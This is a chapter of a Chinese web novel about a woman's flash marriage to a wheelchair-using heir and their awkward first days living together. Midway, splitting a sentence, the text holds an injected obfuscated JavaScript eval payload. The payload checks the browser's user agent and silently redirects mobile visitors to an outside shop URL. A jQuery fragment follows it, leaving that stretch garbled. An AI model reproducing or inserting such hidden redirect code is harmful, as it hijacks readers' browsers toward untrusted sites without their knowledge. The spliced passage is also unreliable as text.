“我结婚了!”

    在燕桐嘴里的“放屁”脱口而出之前,俞时提高声音继续说:“我认真的!领证了!”

    率先挑起结婚话题的宋蔓菁瞪大眼睛,“我没听错吧!你比我还先结婚?和谁!什么时候?怎么背着我们偷偷谈恋爱!”

    宋蔓菁有一个已经相恋七年的青梅竹马,提起结婚这个话题是想让她们帮忙挑挑婚纱,顺带邀请几人做伴娘。

    “你怎么能比我还快呢?!婚礼呢?你背着我们办了婚礼?!”

    “还没办!”俞时格外爽朗,“是闪婚,总之,我们已经领证了。”

    周围的人全部围过来,“是谁!”

    俞时冲燕桐眨眨眼,“南序。”

    “什么!”燕桐拍桌而起,“我草!你是真牛!南家怎么同意的!快跟我说说!”

    宋蔓菁和一旁的叶琴面面相觑,宋蔓菁出声,“那个,燕桐你是不是这几天没怎么关心新闻?”

    燕桐瞬间冷静坐回去,“没有啊,刚徒步回来,怎么了?我错过了什么?”

    叶琴表情不太好,压低声音,“南家出事了,前几天刚办完南序父母的葬礼。现在那一大家为了继承权乱成一团……”

    燕桐眉头皱紧,“俞时你趁人之危……”

    俞时无辜摊手,“南家先提的,算不上我趁人之危。”

    虽然俞云蔚女士跟她说的时候,她也不信,但确实是南家先开口说想结婚的。

    “他入赘?”

    “当然,反正南家那边不太想要他。”

    燕桐骂一声,“我草,你真是个混蛋。”

    “嫁给我也没那么糟糕吧,虽然我确实比较贪玩,但我……以后会改的?”

    燕桐狠狠翻白眼,“你说这话自己都不信。”

    叶琴问俞时,“那你以后打算怎么办?”

    “什么怎么办?该干嘛干嘛啊,这有什么影响。”俞时没懂她为什么要问这个问题。

    宋蔓菁:“你不喜欢他?”

    俞时不假思索回答,“喜欢啊。但是没有到爱的程度,说难听点他现在是烫手山芋,因为我一句看上他就被南家塞给我了。”

    宋蔓菁扶额,“我和你的婚姻观真是……我和柏苍都七年了还没领证,你一句看上了直接闪婚。”

    “我和你们这种纯爱战士怎么可能一样。”俞时双手枕在脑后满不在乎道:“婚姻也算一种商品,不知道南家跟我妈谈了什么,反正我妈挺高兴,成就成了呗,家里摆个花瓶挺好看。”

    燕桐胳膊肘戳她,“你的那些小男朋友不分?”

    “干嘛要分,这婚挂个名头而已,我只是觉得应该让你们知道一下。”

    宋蔓菁适时接话,“婚礼还办吗?”

    “看他吧,我都行,无非就是办了婚礼我偷偷浪。”俞时耸肩,“蔓菁你继续说,有没有婚纱照片给我们看看?”

    话题中心转移回宋蔓菁身上,燕桐偷偷勾住俞时的脖子问她,“那明天还去不去酒局?”

    俞时拍开她的手,“去啊,以后也都去。”

    燕桐翻白眼,“亏你当时还说能学会养‘娇花’,也不怕闪了舌头。”

    俞时揉揉鼻头,“我你还不清楚,满嘴跑火车而已,谁能想到会变成真的。”

    这段婚姻只会给俞时的生活增添一份乐子,不会影响她的任何步调。

    ——

    但非要说的话,还是有的。

    “小姐…”

    “别叫我小姐。”

    “太太…”

    俞时一脸见鬼表情看王叔,“这个更恐怖,我有名字,实在不行你叫我小俞我也认。”

    “俞时,少爷他觉浅,晚上回来能不能小声点。”

    俞时缓缓瞪大眼睛,“我已经提前了,11点还晚吗?以前我都两点才回家。我一直以为他在屋里玩手机。”

    王叔皱紧眉头,“我不是指责你,但是少爷确实……”

    俞时比一个“停”的手势,抢先打断他,“行,我知道了,他一般几点睡?我以后要不在他睡之前回来,要不当晚就不回来。”

    卧房的门打开,南序驱动轮椅靠近她们,他插话,“我没关系的,这里毕竟是你家。”

    王叔显然不满意的南序的“体贴”,“可是……”

    俞时揉揉太阳穴,“你一般几点睡几点起?”

    南序仰头看她,“我没关系,按照你的时间就好。”

    俞时转头把目光投向王叔,“几点?”

    “一般晚上十点睡,早上六点起。”

    俞时捏眉心,“六点起?长么大除非倒时差我从来没有这么早醒过。”

    南序紧张捏衣角,“所以不用管我……我没关系……我不在意这些。”

    俞时长呼一口气,“我知道了,我尽量,如果超过10点我没回来那就别管我了。”

    王叔露出笑,“麻烦您了。”

    “没事,房本也有他的名字,又不是我一个人的房子。”俞时随手脱下外套扔沙发上,神情漠然,“再说了,我也不止一个家,在哪儿睡都一样,扰人睡觉天打雷劈,而且……”

    她的目光落在轮椅轮子上,“那东西撕下来扔远点,我觉深,不会被吵醒,你们随便。”

    路过南序她突发奇想伸手揉他的头发,嘀咕一句“手感还挺好。”

    “砰。”

    门被甩上,让人摸不准她到底是同意还是不同意。

    南序泄力靠在椅背上,“都说了我没事,非要多此一举。”

    王叔走过去帮他理好头发,“本来的事,既然要一起过日子,这种事情还是尽早说开,你能忍一时还能忍一世吗?日后天天如此,你怎么受得了。”

    他还想说什么,最后化为一声叹息,嘴边的话咽回去,改口道:“你要是不敢说,那就我跟她说。”

    南序垂头看着地板发呆,余光瞥见轮子上的静音棉,“我……我不想她夜不归宿,就算回来很晚,至少我们也是在同一个屋檐下……”

    南序抬头看王叔,眼神嫌恶,“你话多了。”

    王叔轻声应下,“是,我多此一举。”

    南序转而问,“她真的会喜欢我吗?”

    “不就是因为她喜欢你,你们才结婚吗。”

    他焦虑咬手指,“不对,不是,不一样。”

    这间屋子绝大部分时间都是安静的,他和俞时的作息有着天壤之别,她一天也有绝大部分时间在外

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632763|206448||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面。

    她在这个屋子里为数不多的时间都在睡觉,他希望她过得好,至少不会因为他吵到她。

    于是他即便知道静音棉会让轮椅前行更困难,依旧自以为对她好裹上那种东西。

    而现在,她戳破了他的自作聪明。

    “把那些东西全都撕下来扔掉!”

    俞时睡醒已经是下午四点,燕桐打来电话说今晚的酒局取消,正好她也想去找自己的小男朋友。

    五点,她换好全新的衣服站在全身镜前调整细节,最后再喷一点香水。

    镜子中映出轮椅上妙人的脸,俞时忍不住将他和小男朋友的脸比较,不到一秒得出结论,小男朋友还是差点。

    她转身看他,“有事吗?”

    南序冲她腼腆一笑,“今晚回来吗?”

    “不回来,不用管我。”俞时蹲下和他平视仔细欣赏他的脸,或许那天的宴会他也没兴趣,现在的眼睛比当时亮多了。

    “晚饭也不吃吗?”

    “不吃,我马上就走。”俞时光是看着他的脸就忍不住笑,“还有想知道的吗?我对我的丈夫知无不言。”

    南序的脸腾一下变红,语无伦次,“我,不是,那……明天,回来,什么时候?”

    “我也不太清楚,但肯定在六点以后。”

    “你今天……格外好看。”

    “我吗?”俞时意外看他,她笑道:“应该我夸你才是,你一直都很漂亮,今天比昨天更漂亮,未来每一天都比前一天更漂亮。”

    南序紧张咽口水,“你喜欢我吗?”

    俞时笑容更加灿烂,“当然,宴会后的谣言不是无的放矢,我真的说过那种话。”

    南序看着她的眼睛,那双漆黑的瞳仁如同镜子,印出他的脸,他生硬转移话题,“香水很好闻,能也给我喷一点吗?”

    俞时把手里的香水拿给他看,“这个?我还没喷,不过我挺喜欢这个味道。”

    说着她将手臂伸直远离他,将一点点香水喷在自己的手腕上,另一只手腕过去蹭蹭,转眼她将手腕伸到他面前,“你闻闻,喜欢就喷,不喜欢就别为难自己的鼻子。”

    清淡的栀子花香扑鼻而来,南序依然凑过去,鼻尖擦过她的手腕。

    他说:“我喜欢。”

    俞时把香水瓶放他手里站起穿上外套,“拿去喷,等我明天回来送你一瓶全新的,这瓶我用过就算了吧。”

    南序捏紧香水瓶,“没关系,这瓶就可以。”

    俞时无所谓道:“那就都给你,新的给你,旧的你也拿去用吧。我走了,明天见。”

    南序抬头看镜子中的自己,他看到的一切告诉他,今天不一样,她今天要去见的和以前要去见的人不一样。

    他试图阻止……他配吗?

    她应该恨他吧。

    冰凉的香水瓶被他的手心捂热,似乎这上面还残留着她的体温,南序像她一样将香水喷在手腕。

    味道不一样。

    “当——”

    手中的香水瓶脱手落在地上,声音沉闷,香水平安无事。

    他弯腰捡起重新用力将它扔出去,瓶子砸在墙上。

    “哗啦——”

    玻璃碎裂。